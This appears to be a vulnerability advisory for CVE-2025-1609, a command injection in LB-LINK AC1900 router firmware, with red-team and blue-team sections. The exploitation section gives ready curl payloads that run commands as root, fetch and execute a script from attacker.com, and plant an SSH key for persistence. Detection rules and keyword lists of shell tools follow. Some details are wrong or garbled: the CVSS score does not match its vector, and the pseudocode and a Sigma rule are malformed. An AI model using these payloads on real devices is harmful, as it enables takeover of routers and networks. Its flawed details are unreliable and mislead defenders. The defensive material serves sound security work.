CVE-2025-1609

Executive Summary

CVE-2025-1609 is a critical unauthenticated OS command injection vulnerability in the LB-LINK AC1900 Router firmware version 1.0.2. The flaw resides in the /goform/set_cmd endpoint, where the cmd parameter is passed unsanitized to the websGetVar function, allowing remote attackers to execute arbitrary operating system commands with root privileges. The vendor has been contacted but has not responded, leaving the device unpatched. Public exploit code is available, increasing the risk of mass exploitation. This vulnerability enables full device compromise, network pivoting, and potential use in botnets.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full file system access.
• Integrity Impact: High (I:H) – arbitrary command execution.
• Availability Impact: High (A:H) – device can be bricked or used in DDoS.

Threat Level: Critical. The combination of no authentication, low complexity, and public exploit makes this a high-priority target for both APT groups and automated botnets (e.g., Mirai variants).

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the embedded web server of the LB-LINK AC1900 router. The endpoint /goform/set_cmd is used for device management, but the cmd parameter is directly concatenated into a system command without sanitization.

Root Cause: The websGetVar function retrieves the cmd parameter from the HTTP POST request and passes it to a function like system() or popen() without input validation or escaping.

Attack Flow:

1. Attacker sends a POST request to http://<router-ip>/goform/set_cmd with a malicious cmd parameter.
2. The router executes the command as root.
3. Attacker can then exfiltrate data, install malware, or pivot to internal networks.

Example Payload:

curl -X POST http://192.168.1.1/goform/set_cmd -d "cmd=ls -la /etc/passwd"

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.2):

// Pseudocode of the vulnerable handler
void handle_set_cmd() {
    char cmd[256];
    char *user_cmd = websGetVar("cmd", "");
    snprintf(cmd, sizeof(cmd), "system(%s)", user_cmd);  // Direct injection
    system(cmd);
}

Patched Code (Hypothetical):

void handle_set_cmd() {
    char cmd[256];
    char *user_cmd = websGetVar("cmd", "");
    // Whitelist allowed commands or use proper escaping
    if (is_allowed_command(user_cmd)) {
        snprintf(cmd, sizeof(cmd), "system('%s')", escape_shell_arg(user_cmd));
        system(cmd);
    } else {
        websError(403, "Forbidden");
    }
}

Key Differences:

• Input validation: Patched version checks against a whitelist.
• Escaping: Patched version uses escape_shell_arg() to prevent injection.
• Error handling: Patched version returns 403 for invalid commands.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain an LB-LINK AC1900 router (or use a firmware emulator like QEMU).
2. Flash firmware version 1.0.2.
3. Connect to the same network as the router.

Exploitation Steps:

1. Reconnaissance: Scan for the router using Shodan dorks or Nmap:

   nmap -p 80,443,8080 --open 192.168.1.0/24
   

2. Verify Vulnerability: Send a benign command to test:

   curl -X POST http://192.168.1.1/goform/set_cmd -d "cmd=id"
   

   Expected response: uid=0(root) gid=0(root) groups=0(root)
3. Reverse Shell: Use a one-liner to get a shell:

   curl -X POST http://192.168.1.1/goform/set_cmd -d "cmd=wget http://attacker.com/shell.sh -O /tmp/shell.sh && sh /tmp/shell.sh"
   

4. Persistence: Add SSH keys or install a backdoor:

   curl -X POST http://192.168.1.1/goform/set_cmd -d "cmd=echo 'ssh-rsa AAA...' >> /etc/dropbear/authorized_keys"
   

Exploit-DB Code: Not available, but the above curl commands serve as the exploit.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goform/set_cmd with suspicious cmd parameters.
• Look for commands like wget, curl, bash, sh, nc, python, perl.
• Alert on outbound connections from the router to unknown IPs on non-standard ports.

Honeypot:

• Deploy a low-interaction honeypot mimicking the LB-LINK router to capture attacker behavior.

Network Segmentation:

• Place IoT devices like routers in a separate VLAN with strict egress filtering.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /goform/set_cmd with cmd parameter containing shell metacharacters (;, |, &, $, `).
• Outbound connections from the router to known malicious IPs (e.g., C2 servers).
• Unusual DNS queries from the router (e.g., to dynamic DNS domains).

File IOCs:

• /tmp/shell.sh, /tmp/backdoor, /etc/dropbear/authorized_keys with unknown keys.
• Modified /etc/passwd or /etc/shadow files.
• Presence of binaries like nc, ncat, socat in /tmp or /var.

Behavioral IOCs:

• Router CPU/memory spikes due to cryptominers or DDoS bots.
• Unusual outbound traffic on ports 22, 443, 6667, 8080.

Detection Engineering

YARA Rule

rule CVE_2025_1609_LB_LINK_AC1900 {
    meta:
        description = "Detects exploit attempts for CVE-2025-1609 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1609"
    strings:
        $cmd_param = "cmd=" ascii wide nocase
        $shell_meta = /[;&|`$(){}]/
        $dangerous_cmd = /(wget|curl|bash|sh|nc|python|perl|rm|kill)/ ascii wide nocase
    condition:
        $cmd_param and #shell_meta > 2 and $dangerous_cmd
}

Sigma Rule

title: CVE-2025-1609 LB-LINK AC1900 Command Injection
id: 7a8b3c4d-5e6f-4a1b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /goform/set_cmd with command injection payloads
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/set_cmd'
        cs-uri-query|contains: 'cmd='
    filter:
        cs-uri-query|re: '^cmd=[a-zA-Z0-9]+$'  # Benign commands only
    condition: selection and not filter
falsepositives:
    - Legitimate administrative commands (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1609 LB-LINK AC1900 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/set_cmd"; http_uri; content:"cmd="; http_client_body; pcre:"/cmd=[^&]*[;&|`$(){}]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the router on a separate VLAN with no internet access.
2. Disable remote management: If possible, disable the web interface on WAN.
3. Apply firewall rules: Block inbound traffic to port 80/443 from untrusted networks.

Long-term Fix:

• Since the vendor is unresponsive, consider replacing the router with a patched alternative.
• If replacement is not possible, flash an open-source firmware like OpenWrt (if compatible) that is actively maintained.

Compensating Controls:

• Deploy a WAF (Web Application Firewall) in front of the router to filter malicious payloads.
• Use network monitoring tools (e.g., Zeek, Suricata) to detect exploitation attempts.

Valters IT Signature:

rule Valters_IT_CVE_2025_1609 {
    meta:
        author = "Valters IT"
        description = "Valters IT signature for CVE-2025-1609 detection"
    strings:
        $s1 = "CVE-2025-1609"
        $s2 = "LB-LINK"
        $s3 = "AC1900"
    condition:
        all of them
}